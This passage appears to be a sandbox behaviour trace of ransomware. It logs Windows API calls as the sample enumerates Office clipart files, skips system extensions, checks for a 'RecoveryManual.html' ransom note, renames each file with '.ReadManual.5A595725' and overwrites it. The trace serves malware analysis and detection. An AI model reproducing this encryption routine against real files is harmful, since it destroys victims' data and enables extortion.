lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.113] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf6a) returned 0x2f0000 [0269.113] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.113] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38978182505) returned 1 [0269.113] CloseHandle (hObject=0x184) returned 1 [0269.113] SetSecurityInfo () returned 0x57 [0269.113] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.113] CloseHandle (hObject=0x194) returned 1 [0269.113] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1 [0269.113] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0279644.WMF" | out: lpString1="J0279644.WMF") returned="J0279644.WMF" [0269.113] lstrcmpiW (lpString1="J0279644.WMF", lpString2="RecoveryManual.html") returned -1 [0269.113] StrStrIW (lpFirst="J0279644.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.114] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.114] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.114] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" [0269.114] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.ReadManual.5A595725" [0269.114] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.ReadManual.5A595725") returned 87 [0269.114] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38978279216) returned 1 [0269.114] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf")) returned 0x20 [0269.115] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.115] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17200) returned 1 [0269.115] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4330, lpName=0x0) returned 0x184 [0269.115] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.116] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.116] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.118] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.118] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4330) returned 0x2f0000 [0269.118] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.118] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38978704760) returned 1 [0269.118] CloseHandle (hObject=0x184) returned 1 [0269.118] SetSecurityInfo () returned 0x57 [0269.118] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.119] CloseHandle (hObject=0x194) returned 1 [0269.119] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0269.119] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0280468.WMF" | out: lpString1="J0280468.WMF") returned="J0280468.WMF" [0269.119] lstrcmpiW (lpString1="J0280468.WMF", lpString2="RecoveryManual.html") returned -1 [0269.119] StrStrIW (lpFirst="J0280468.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.119] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.119] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.119] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" [0269.119] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.ReadManual.5A595725" [0269.119] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.ReadManual.5A595725") returned 87 [0269.119] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38978800768) returned 1 [0269.119] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf")) returned 0x20 [0269.119] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.120] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=73198) returned 1 [0269.120] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11dee, lpName=0x0) returned 0x184 [0269.120] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.121] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.121] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.123] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.123] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11dee) returned 0x1de0000 [0269.125] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0269.125] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38979414608) returned 1 [0269.125] CloseHandle (hObject=0x184) returned 1 [0269.125] SetSecurityInfo () returned 0x57 [0269.126] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.126] CloseHandle (hObject=0x194) returned 1 [0269.126] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0269.126] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0281008.WMF" | out: lpString1="J0281008.WMF") returned="J0281008.WMF" [0269.126] lstrcmpiW (lpString1="J0281008.WMF", lpString2="RecoveryManual.html") returned -1 [0269.126] StrStrIW (lpFirst="J0281008.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.126] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.126] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.126] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" [0269.126] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.ReadManual.5A595725" [0269.126] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.ReadManual.5A595725") returned 87 [0269.126] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38979510914) returned 1 [0269.126] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf")) returned 0x20 [0269.127] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.127] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=38084) returned 1 [0269.127] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x94c4, lpName=0x0) returned 0x184 [0269.127] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.128] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.128] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.129] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.129] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x94c4) returned 0x2f0000 [0269.130] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.131] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38979938886) returned 1 [0269.131] CloseHandle (hObject=0x184) returned 1 [0269.131] SetSecurityInfo () returned 0x57 [0269.131] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.131] CloseHandle (hObject=0x194) returned 1 [0269.131] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0269.131] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0281243.WMF" | out: lpString1="J0281243.WMF") returned="J0281243.WMF" [0269.131] lstrcmpiW (lpString1="J0281243.WMF", lpString2="RecoveryManual.html") returned -1 [0269.131] StrStrIW (lpFirst="J0281243.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.131] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.131] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.131] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" [0269.132] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.ReadManual.5A595725" [0269.132] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.ReadManual.5A595725") returned 87 [0269.132] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38980036899) returned 1 [0269.132] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf")) returned 0x20 [0269.132] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.132] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=46516) returned 1 [0269.132] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb5b4, lpName=0x0) returned 0x184 [0269.132] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.133] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.133] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.135] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.135] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb5b4) returned 0x2f0000 [0269.136] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.137] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38980540511) returned 1 [0269.137] CloseHandle (hObject=0x184) returned 1 [0269.137] SetSecurityInfo () returned 0x57 [0269.137] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.137] CloseHandle (hObject=0x194) returned 1 [0269.137] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0269.137] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0281630.WMF" | out: lpString1="J0281630.WMF") returned="J0281630.WMF" [0269.137] lstrcmpiW (lpString1="J0281630.WMF", lpString2="RecoveryManual.html") returned -1 [0269.137] StrStrIW (lpFirst="J0281630.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.137] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0269.137] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0269.138] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0269.138] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0269.138] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0269.138] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0269.138] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0269.138] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" [0269.138] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.ReadManual.5A595725" [0269.138] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.ReadManual.5A595725") returned 87 [0269.138] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38980654546) returned 1 [0269.138] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf")) returned 0x20 [0269.139] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0269.139] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12764) returned 1 [0269.139] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x31dc, lpName=0x0) returned 0x184 [0269.139] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0269.140] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.140] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0269.142] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0269.142] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x31dc) returned 0x2f0000 [0269.142] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0269.142] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38981085828) returned 1 [0269.142] CloseHandle (hObject=0x184) returned 1 [0269.142] SetSecurityInfo () returned 0x57 [0269.142] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0269.142] CloseHandle (hObject=0x194) returned 1 [0269.142] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7da6a400, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7da6a400, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x3854, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0281632.WMF", cAlternateFileName="")) returned 1 [0269.142] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0281632.WMF" | out: lpString1="J0281632.WMF") returned="J0281632.WMF" [0269.142] lstrcmpiW (lpString1="J0281632.WMF", lpString2="RecoveryManual.html") returned -1 [0269.143] StrStrIW (lpFirst="J0281632.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0269.143] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0269.143] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0269.143] StrCmpIW (psz1="WMF", 